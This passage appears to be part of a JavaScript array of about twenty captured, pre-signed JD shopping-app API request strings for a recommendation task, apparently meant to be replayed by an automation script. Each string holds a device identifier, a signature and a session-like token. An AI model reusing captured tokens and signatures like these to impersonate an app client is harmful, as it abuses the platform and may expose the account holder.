`area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238055250%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=074730c1d3a2f27f3dc90f791d9b5a6d&st=1608135729763&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911025%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fb2c75fd39c07ced2c72c58d7d17fd61&st=1608135742970&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232075505%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=2df23f8cf9f729caf39cfc37be2e5cbb&st=1608135758073&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230306175%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=9661628a4a9fbea9090851a711ce493e&st=1608135774356&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232072753%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fd5871c8c2f6cdd7aeec608b9a920a15&st=1608135788189&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230354156%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=53de468b75938e0f97bf3ac565e6541f&st=1608135803533&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230474392%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=969330bffe9c6ad2ea30e5675d58c8a0&st=1608135817731&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241113475%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=154516384d1cd467fe64e11444b2c731&st=1608135832187&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240814080%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=517e373df7f0929524dc36fe6dad630d&st=1608135847506&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239281739%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=9238b4f17dbb8f46f3f61898588c09f2&st=1608135861442&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239326056%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c440b5ccd3393566befc3da4a3a32c23&st=1608135874985&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239966731%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4e92a93c2985165670d4bdd8fac62b62&st=1608135889532&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228925366%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=462d9bb4f828f495797d82e6b403789d&st=1608135902900&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241141664%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7283e2c5a24e392c66dc02b1e073f154&st=1608135932827&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239879879%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=2efca2d6ae6971cb924ca2de521548cf&st=1608135954339&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240921105%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=24cff3a417bb95f9360cbae5a90dc2df&st=1608135968677&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239913667%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1f3983c32ad4f6aff614018e06ba0210&st=1608135982853&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228195657%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=cd5639e8f4e8ae35ab8ac9593d71f2ed&st=1608135997381&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232232068%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=5270d376f680afaee053c7d3a760f24c&st=1608136011993&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22231078213%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=103ba8fdc7fcf377e40360a089bbba6d&st=1608136025797&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228889429%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=b57fa95ca54dd0a6104c5aff99efa60e&st=1608136042516&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + 